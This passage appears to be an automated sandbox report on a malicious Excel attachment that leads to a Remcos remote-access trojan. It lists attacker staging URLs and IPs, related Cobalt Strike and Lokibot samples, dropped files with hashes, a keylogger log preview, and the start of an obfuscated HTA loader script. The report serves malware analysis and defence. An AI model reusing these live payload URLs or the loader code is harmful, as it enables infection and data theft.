                                                                                                                                                                    		unknown
                                                                                                                                                                    http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fsetbhv8BAD.tmp.28.drfalse
                                                                                                                                                                      		unknown
                                                                                                                                                                      https://secure.comodo.com/CPS0mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                      • URL Reputation: safe
                                                                                                                                                                      		unknown
                                                                                                                                                                      http://192.3.101.21/412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIFoNdllpowershell.exe, 00000005.00000002.447719777.0000000000353000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.493711607.000000000032C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                        		unknown
                                                                                                                                                                        https://policies.yahoo.com/w3c/p3p.xmlbhv8BAD.tmp.28.drfalse
                                                                                                                                                                          		unknown
                                                                                                                                                                          http://crl.entrust.net/2048ca.crl0mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                          • URL Reputation: safe
                                                                                                                                                                          		unknown
                                                                                                                                                                          http://www.msn.com/advertisement.ad.jsbhv8BAD.tmp.28.drfalse
                                                                                                                                                                            		unknown
                                                                                                                                                                            http://www.ebuddy.comCasPol.exe, CasPol.exe, 0000001E.00000002.585102201.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                                                                                                            • URL Reputation: safe
                                                                                                                                                                            		unknown

                                                                                                                                                                            World Map of Contacted IPs

                                                                                                                                                                            • No. of IPs < 25%
                                                                                                                                                                            • 25% < No. of IPs < 50%
                                                                                                                                                                            • 50% < No. of IPs < 75%
                                                                                                                                                                            • 75% < No. of IPs

                                                                                                                                                                            Public IPs

                                                                                                                                                                            IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                            172.67.162.95
                                                                                                                                                                            		acesso.runUnited States
                                                                                                                                                                            		13335CLOUDFLARENETUSfalse
                                                                                                                                                                            104.21.74.191
                                                                                                                                                                            		unknownUnited States
                                                                                                                                                                            		13335CLOUDFLARENETUSfalse
                                                                                                                                                                            192.3.101.21
                                                                                                                                                                            		unknownUnited States
                                                                                                                                                                            		36352AS-COLOCROSSINGUStrue
                                                                                                                                                                            192.3.101.193
                                                                                                                                                                            		cokka.duckdns.orgUnited States
                                                                                                                                                                            		36352AS-COLOCROSSINGUStrue
                                                                                                                                                                            142.250.184.206
                                                                                                                                                                            		drive.google.comUnited States
                                                                                                                                                                            		15169GOOGLEUSfalse
                                                                                                                                                                            172.217.16.193
                                                                                                                                                                            		drive.usercontent.google.comUnited States
                                                                                                                                                                            		15169GOOGLEUSfalse
                                                                                                                                                                            178.237.33.50
                                                                                                                                                                            		geoplugin.netNetherlands
                                                                                                                                                                            		8455ATOM86-ASATOM86NLfalse

                                                                                                                                                                            General Information

                                                                                                                                                                            Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                            Analysis ID:1544692
                                                                                                                                                                            Start date and time:2024-10-29 16:29:16 +01:00
                                                                                                                                                                            Joe Sandbox product:CloudBasic
                                                                                                                                                                            Overall analysis duration:0h 8m 48s
                                                                                                                                                                            Hypervisor based Inspection enabled:false
                                                                                                                                                                            Report type:full
                                                                                                                                                                            Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                                                            Analysis system description:Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                                                                                                                                                                            Number of analysed new started processes analysed:31
                                                                                                                                                                            Number of new started drivers analysed:0
                                                                                                                                                                            Number of existing processes analysed:0
                                                                                                                                                                            Number of existing drivers analysed:0
                                                                                                                                                                            Number of injected processes analysed:0
                                                                                                                                                                            Technologies:
                                                                                                                                                                            • HCA enabled
                                                                                                                                                                            • EGA enabled
                                                                                                                                                                            • GSI enabled (VBA)
                                                                                                                                                                            • AMSI enabled
                                                                                                                                                                            Analysis Mode:default
                                                                                                                                                                            Analysis stop reason:Timeout
                                                                                                                                                                            Sample name:0001.xls
                                                                                                                                                                            Detection:MAL
                                                                                                                                                                            Classification:mal100.rans.phis.troj.spyw.expl.evad.winXLS@35/46@13/7
                                                                                                                                                                            EGA Information:
                                                                                                                                                                            • Successful, ratio: 71.4%
                                                                                                                                                                            HCA Information:
                                                                                                                                                                            • Successful, ratio: 99%
                                                                                                                                                                            • Number of executed functions: 182
                                                                                                                                                                            • Number of non-executed functions: 272
                                                                                                                                                                            Cookbook Comments:
                                                                                                                                                                            • Found application associated with file extension: .xls
                                                                                                                                                                            • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                                            • Attach to Office via COM
                                                                                                                                                                            • Active ActiveX Object
                                                                                                                                                                            • Active ActiveX Object
                                                                                                                                                                            • Scroll down
                                                                                                                                                                            • Close Viewer

                                                                                                                                                                            Warnings

                                                                                                                                                                            • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe
                                                                                                                                                                            • Execution Graph export aborted for target mshta.exe, PID 3052 because there are no executed function
                                                                                                                                                                            • Execution Graph export aborted for target mshta.exe, PID 3824 because there are no executed function
                                                                                                                                                                            • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                            • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                            • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                            • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                            • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                                                                                            • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                            • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                            • VT rate limit hit for: 0001.xls

                                                                                                                                                                            Simulations

                                                                                                                                                                            Behavior and APIs

                                                                                                                                                                            TimeTypeDescription
                                                                                                                                                                            11:30:34API Interceptor122x Sleep call for process: mshta.exe modified
                                                                                                                                                                            11:30:39API Interceptor634x Sleep call for process: powershell.exe modified
                                                                                                                                                                            11:30:54API Interceptor61x Sleep call for process: AcroRd32.exe modified
                                                                                                                                                                            11:31:10API Interceptor10x Sleep call for process: wscript.exe modified
                                                                                                                                                                            11:31:44API Interceptor327x Sleep call for process: CasPol.exe modified

                                                                                                                                                                            Joe Sandbox View / Context

                                                                                                                                                                            IPs

                                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                            172.67.162.95Payment Advice.xlsGet hashmaliciousHTMLPhisher, LokibotBrowse
                                                                                                                                                                              Order-1351125X.docx.docGet hashmaliciousFormBookBrowse
                                                                                                                                                                                2MbHBiqXH2.rtfGet hashmaliciousRedLineBrowse
                                                                                                                                                                                  Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.docGet hashmaliciousRedLineBrowse
                                                                                                                                                                                    Kobe 045EX07227 CLG6739.docx.docGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      Kobe 045EX07227 CLG6739.docx.docGet hashmaliciousUnknownBrowse
                                                                                                                                                                                        PROFORMAXINVOICE.docx.docGet hashmaliciousLokibotBrowse
                                                                                                                                                                                          MV HTK Lavender.docGet hashmaliciousLokibotBrowse
                                                                                                                                                                                            PUO.docx.docGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                              336HB7m70J.rtfGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                104.21.74.191file.exeGet hashmaliciousRedLine, SmokeLoaderBrowse
                                                                                                                                                                                                • tuong.me/wp-login.php
                                                                                                                                                                                                192.3.101.21seemybestthingwhichigiventouformakebestappinesswogiven.htaGet hashmaliciousCobalt StrikeBrowse
                                                                                                                                                                                                • 192.3.101.21/412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIF
                                                                                                                                                                                                goodthingsbestviewtoseethebetterthingswithmygirlfriend.htaGet hashmaliciousCobalt Strike, HTMLPhisherBrowse
                                                                                                                                                                                                • 192.3.101.21/323/createdbestthingswhichniceandgoodforbesttodo.tIF
                                                                                                                                                                                                Outstanding_Inv_6662.xlsGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                • 192.3.101.21/344/TiWorker.exe
                                                                                                                                                                                                602_Shipping_instruction.xlsGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                • 192.3.101.21/602/TiWorker.exe

                                                                                                                                                                                                Domains

                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                acesso.runPayment Advice.xlsGet hashmaliciousHTMLPhisher, LokibotBrowse
                                                                                                                                                                                                • 172.67.162.95
                                                                                                                                                                                                cokka.duckdns.org1730205125e17c77fd100fac247e845e0d35eb80fd3ed2b798c588796b720ffad142a2b233827.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • 192.3.101.193
                                                                                                                                                                                                geoplugin.net1.rtfGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                                                HSBC Payment Swift Copy.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                                                ingswhic.docGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                                                swithnew.docGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                                                1730208009cbbc5185357f6c127206378a947c7560ccc5f5234da3819452d576d86ecf0fd2268.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                                                1730205125e17c77fd100fac247e845e0d35eb80fd3ed2b798c588796b720ffad142a2b233827.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                                                SecuriteInfo.com.W32.MSIL_Kryptik.KQK.gen.Eldorado.16672.23413.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                                                Lista produkt#U00f3w POL56583753Sarchmentdoc.batGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                                                odthings.docGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                                                sheisverynicegirlwithgreatworkingskillwithgereatniceworkign.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                                                                                                                                                • 178.237.33.50

                                                                                                                                                                                                ASNs

                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                AS-COLOCROSSINGUSseemybestthingwhichigiventouformakebestappinesswogiven.htaGet hashmaliciousCobalt StrikeBrowse
                                                                                                                                                                                                • 192.3.101.21
                                                                                                                                                                                                niceworkingthingswithgreatthingsevengetbackwithgoodnews.htaGet hashmaliciousCobalt Strike, GuLoader, HTMLPhisherBrowse
                                                                                                                                                                                                • 107.175.113.214
                                                                                                                                                                                                bestintercomthingswhichgivebestthingstogetmeback.htaGet hashmaliciousCobalt Strike, HTMLPhisherBrowse
                                                                                                                                                                                                • 192.3.101.8
                                                                                                                                                                                                seethebestthignswhichgivingbestthingstogetmakeuveryhappy.htaGet hashmaliciousCobalt Strike, HTMLPhisherBrowse
                                                                                                                                                                                                • 198.46.178.155
                                                                                                                                                                                                goodthingsbestviewtoseethebetterthingswithmygirlfriend.htaGet hashmaliciousCobalt Strike, HTMLPhisherBrowse
                                                                                                                                                                                                • 192.3.101.21
                                                                                                                                                                                                1730205125e17c77fd100fac247e845e0d35eb80fd3ed2b798c588796b720ffad142a2b233827.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • 192.3.101.193
                                                                                                                                                                                                greatthingsalwayshappeningwithgreatattitudewithgoodnews.htaGet hashmaliciousCobalt Strike, HTMLPhisherBrowse
                                                                                                                                                                                                • 198.46.178.155
                                                                                                                                                                                                goodthingstoapprovethebestwaytounderstandhowmuchgood.htaGet hashmaliciousCobalt Strike, HTMLPhisherBrowse
                                                                                                                                                                                                • 198.46.178.155
                                                                                                                                                                                                nicelookgirlfrinedonmyheartshegoodforbestthignstodoforme.htaGet hashmaliciousCobalt Strike, HTMLPhisherBrowse
                                                                                                                                                                                                • 198.46.178.155
                                                                                                                                                                                                Swift Copy.xlsGet hashmaliciousHTMLPhisher, LokibotBrowse
                                                                                                                                                                                                • 198.46.178.155
                                                                                                                                                                                                CLOUDFLARENETUSinstaller.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 172.67.75.163
                                                                                                                                                                                                file.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                • 188.114.96.3
                                                                                                                                                                                                http://email.lndg.page/ls/click?upn=u001.IvLseMgsVhVvzUpwRiP-2FwDY1kjINp61fUuRWFtJrOlsR2xK9oB-2FfYMEmxXZADqvZYVpAGo4tqJabIsrfh5cAoQ-3D-3DBY5f_Z037rZRAjNnoLxuCNZalsWeL-2FuGvpRjfvafXSKPUadVelwBKNiVQ67EtFqVq-2F-2FAK6i6xZqeXhJzRqi8XomI4er4VLqx9iTYG7-2BCEAXYgFCl0PkJ3-2Fta3PunUyBaUajSXL-2F4RU8ivpOSEDeErwB8BZGzV2oyEJ1SK5v6Yp5gOMXaPWrDBmQyDNn3b-2FaOwkDESVUP2cfI7B8pfKWj4ZDcF0w-3D-3DGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 188.114.96.3
                                                                                                                                                                                                installer.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 172.67.75.163
                                                                                                                                                                                                Jmaman_##Salary##_Benefit_for_JmamanID#IyNURVhUTlVNUkFORE9NMTAjIw==.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 104.17.25.14
                                                                                                                                                                                                https://qH.todentu.ru/FcZpLy/#Obritchie@initusa.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 188.114.96.3
                                                                                                                                                                                                securedoc_20241028T070148.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 104.17.25.14
                                                                                                                                                                                                file.exeGet hashmaliciousStealc, VidarBrowse
                                                                                                                                                                                                • 172.64.41.3
                                                                                                                                                                                                file.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                • 188.114.96.3
                                                                                                                                                                                                New Portable Document.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 188.114.96.3
                                                                                                                                                                                                CLOUDFLARENETUSinstaller.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 172.67.75.163
                                                                                                                                                                                                file.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                • 188.114.96.3
                                                                                                                                                                                                http://email.lndg.page/ls/click?upn=u001.IvLseMgsVhVvzUpwRiP-2FwDY1kjINp61fUuRWFtJrOlsR2xK9oB-2FfYMEmxXZADqvZYVpAGo4tqJabIsrfh5cAoQ-3D-3DBY5f_Z037rZRAjNnoLxuCNZalsWeL-2FuGvpRjfvafXSKPUadVelwBKNiVQ67EtFqVq-2F-2FAK6i6xZqeXhJzRqi8XomI4er4VLqx9iTYG7-2BCEAXYgFCl0PkJ3-2Fta3PunUyBaUajSXL-2F4RU8ivpOSEDeErwB8BZGzV2oyEJ1SK5v6Yp5gOMXaPWrDBmQyDNn3b-2FaOwkDESVUP2cfI7B8pfKWj4ZDcF0w-3D-3DGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 188.114.96.3
                                                                                                                                                                                                installer.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 172.67.75.163
                                                                                                                                                                                                Jmaman_##Salary##_Benefit_for_JmamanID#IyNURVhUTlVNUkFORE9NMTAjIw==.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 104.17.25.14
                                                                                                                                                                                                https://qH.todentu.ru/FcZpLy/#Obritchie@initusa.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 188.114.96.3
                                                                                                                                                                                                securedoc_20241028T070148.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 104.17.25.14
                                                                                                                                                                                                file.exeGet hashmaliciousStealc, VidarBrowse
                                                                                                                                                                                                • 172.64.41.3
                                                                                                                                                                                                file.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                • 188.114.96.3
                                                                                                                                                                                                New Portable Document.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 188.114.96.3

                                                                                                                                                                                                JA3 Fingerprints

                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                05af1f5ca1b87cc9cc9b25185115607d1.rtfGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • 142.250.184.206
                                                                                                                                                                                                • 172.217.16.193
                                                                                                                                                                                                ingswhic.docGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • 142.250.184.206
                                                                                                                                                                                                • 172.217.16.193
                                                                                                                                                                                                swithnew.docGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • 142.250.184.206
                                                                                                                                                                                                • 172.217.16.193
                                                                                                                                                                                                Swift Copy.xlsGet hashmaliciousHTMLPhisher, LokibotBrowse
                                                                                                                                                                                                • 142.250.184.206
                                                                                                                                                                                                • 172.217.16.193
                                                                                                                                                                                                Payment Advice.xlsGet hashmaliciousHTMLPhisher, LokibotBrowse
                                                                                                                                                                                                • 142.250.184.206
                                                                                                                                                                                                • 172.217.16.193
                                                                                                                                                                                                Proforma-Invoice#018879TT0100..docGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                                                                • 142.250.184.206
                                                                                                                                                                                                • 172.217.16.193
                                                                                                                                                                                                SecuriteInfo.com.Other.Malware-gen.29374.9055.xlsxGet hashmaliciousHTMLPhisher, LokibotBrowse
                                                                                                                                                                                                • 142.250.184.206
                                                                                                                                                                                                • 172.217.16.193
                                                                                                                                                                                                odthings.docGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • 142.250.184.206
                                                                                                                                                                                                • 172.217.16.193
                                                                                                                                                                                                na.docGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                                                                • 142.250.184.206
                                                                                                                                                                                                • 172.217.16.193
                                                                                                                                                                                                na.docGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                                                                • 142.250.184.206
                                                                                                                                                                                                • 172.217.16.193
                                                                                                                                                                                                7dcce5b76c8b17472d024758970a406bSwift Copy.xlsGet hashmaliciousHTMLPhisher, LokibotBrowse
                                                                                                                                                                                                • 172.67.162.95
                                                                                                                                                                                                • 104.21.74.191
                                                                                                                                                                                                Payment Advice.xlsGet hashmaliciousHTMLPhisher, LokibotBrowse
                                                                                                                                                                                                • 172.67.162.95
                                                                                                                                                                                                • 104.21.74.191
                                                                                                                                                                                                ST007 SWIFT CONFIRMATION.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 172.67.162.95
                                                                                                                                                                                                • 104.21.74.191
                                                                                                                                                                                                ST007 SWIFT CONFIRMATION.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 172.67.162.95
                                                                                                                                                                                                • 104.21.74.191
                                                                                                                                                                                                Transferencia.docGet hashmaliciousQuasarBrowse
                                                                                                                                                                                                • 172.67.162.95
                                                                                                                                                                                                • 104.21.74.191
                                                                                                                                                                                                SecuriteInfo.com.Other.Malware-gen.29374.9055.xlsxGet hashmaliciousHTMLPhisher, LokibotBrowse
                                                                                                                                                                                                • 172.67.162.95
                                                                                                                                                                                                • 104.21.74.191
                                                                                                                                                                                                SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.16537.13180.xlsxGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 172.67.162.95
                                                                                                                                                                                                • 104.21.74.191
                                                                                                                                                                                                care.rtfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 172.67.162.95
                                                                                                                                                                                                • 104.21.74.191
                                                                                                                                                                                                Purchase order.xlsGet hashmaliciousLokibotBrowse
                                                                                                                                                                                                • 172.67.162.95
                                                                                                                                                                                                • 104.21.74.191
                                                                                                                                                                                                Payment Advice.xlsGet hashmaliciousLokibotBrowse
                                                                                                                                                                                                • 172.67.162.95
                                                                                                                                                                                                • 104.21.74.191

                                                                                                                                                                                                Dropped Files

                                                                                                                                                                                                ⊘No context

                                                                                                                                                                                                Created / dropped Files

                                                                                                                                                                                                C:\ProgramData\remcos\logs.dat

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):144
                                                                                                                                                                                                Entropy (8bit):3.3603882199736725
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:rhlKlM+XlcOl8Vlfq5JWRal2Jl+7R0DAlBG45klovDl6v:6ljNe05YcIeeDAlOWAv
                                                                                                                                                                                                MD5:2604D138AF43ABB7500FF182FDBA2397
                                                                                                                                                                                                SHA1:6B457960B9CF1C2F5E2EAD7774A27CF4CFF598FB
                                                                                                                                                                                                SHA-256:86E81DC4AC697ABDAC589598D1527BB6C35BB1EFF34B5BD9D89A2A62001CD675
                                                                                                                                                                                                SHA-512:168616D36FB6693B895B0DCE5D5F9E082CE98AC2107825A7479AD39D9EA6428AB0E3BF7ED4322A4C06A81DCEF2782EBB15C53E695BA72BA1B5739B1DC623C105
                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                Yara Hits:
                                                                                                                                                                                                • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
                                                                                                                                                                                                Preview:....[.2.0.2.4./.1.0./.2.9. .1.1.:.3.1.:.4.4. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

                                                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):4742
                                                                                                                                                                                                Entropy (8bit):4.8105940880640246
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:96:mCJ2Woe5Sgyg12jDs+un/iQLEYFjDaeWJ6KGcmXuFRLcU6/KI2k6Lm5emmXIG:Jxoe5+gkjDt4iWN3yBGH+dcU6CIVsm5D
                                                                                                                                                                                                MD5:278C40A9A3B321CA9147FFBC6BE3A8A8
                                                                                                                                                                                                SHA1:D795FC7D3249F9D924DC951DA1DB900D02496D73
                                                                                                                                                                                                SHA-256:4EB0EAE13C3C67789AD8940555F31548A66F5031BF1A804E26EA6E303515259E
                                                                                                                                                                                                SHA-512:E7222B41A436CE0BF8FA3D8E5EB8249D4D3985419D0F901F535375789F001B5929EF9B85C1D6802F0FBD5F722A52CB27021F87D076E69D92F46C7C3E894C6F00
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:PSMODULECACHE.....8.......S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script............7...q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1m.......Remove-Variable........Convert-String........Trace-Command........Sort-Object........Register-Object

                                                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):64
                                                                                                                                                                                                Entropy (8bit):0.34726597513537405
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:Nlll:Nll
                                                                                                                                                                                                MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                                                                                                                                                                SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                                                                                                                                                                SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                                                                                                                                                                SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:@...e...........................................................

                                                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seemybestthingwhichigiventouformakebestappinesswogiven[1].hta

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                File Type:HTML document, ASCII text, with very long lines (65520), with CRLF line terminators
                                                                                                                                                                                                Category:modified
                                                                                                                                                                                                Size (bytes):134351
                                                                                                                                                                                                Entropy (8bit):2.153020946809356
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:96:Eagt7RWVgFVVLH7C4b5nLbfbqI05kyGvqyGQtNVpVfGV7ZT:EagFRM4hbSkyzytqT
                                                                                                                                                                                                MD5:AE04FF9A416A5781935E9A6DFE46C66F
                                                                                                                                                                                                SHA1:E8C5538AE08082CF47CC08CDF36F7F4A9A20A101
                                                                                                                                                                                                SHA-256:DD91F1901FDF77DD38DC7B80A594E71B3738ADA75EFA3DFFC7427D3E9A5D2E10
                                                                                                                                                                                                SHA-512:B4A66B29DEECBA3C1C7B2AD0D0912C2E9CCFAE12B6A5BDA0D2B3D6CFA93DE2FE908EA55202146CE0FB87F8955348B1EA16F1FD31E18948782D097D3C531EDC37
                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                Preview:<script>.. ..document.write(unescape("%3Cscript%20language%3DJavaScript%3Em%3D%27%253Cscript%253E%250A%253C%2521--%250Adocument.write%2528unescape%2528%2522%25253C%252521DOCTYPE%252520html%25253E%25250A%25253Cmeta%252520http-equiv%25253D%252522X-UA-Compatible%252522%252520content%25253D%252522IE%25253DEmulateIE8%252522%252520%25253E%25250A%25253Chtml%25253E%25250A%25253Cbody%25253E%25250A%25253CsCRIpt%252520typE%25253D%252522tEXT/vBscrIpT%252522%25253E%25250ADIm%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25252

                                                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\seethebestthingsgivingrenergytomyentirelifeforgetherback[1].tiff

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):141632
                                                                                                                                                                                                Entropy (8bit):3.691282707292598
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3072:9S7Agt5pVGw0eFjXF56h9fK1rBnk4jyxQeTPFRH7:o56bS1rBnjjoFRb
                                                                                                                                                                                                MD5:87F50D339477DD3708F80A5E286FEA7E
                                                                                                                                                                                                SHA1:F35D36F7B3B9ED4552509F7EF915BC22BB43C310
                                                                                                                                                                                                SHA-256:DD648D14E67DBF28A2BDD7ED56288147B7A2F5B5D1DFBA56ECB9975FC745C527
                                                                                                                                                                                                SHA-512:4C9B7579DA6C594D8511E8A75A5B7B812D938C2F37A9C5CF0943203950F112E93ACE9A3D210CC2B0B0C8CDFD4781A84E545295B766CCAA60A18509F78620D2A3
                                                                                                                                                                                                Malicious:false
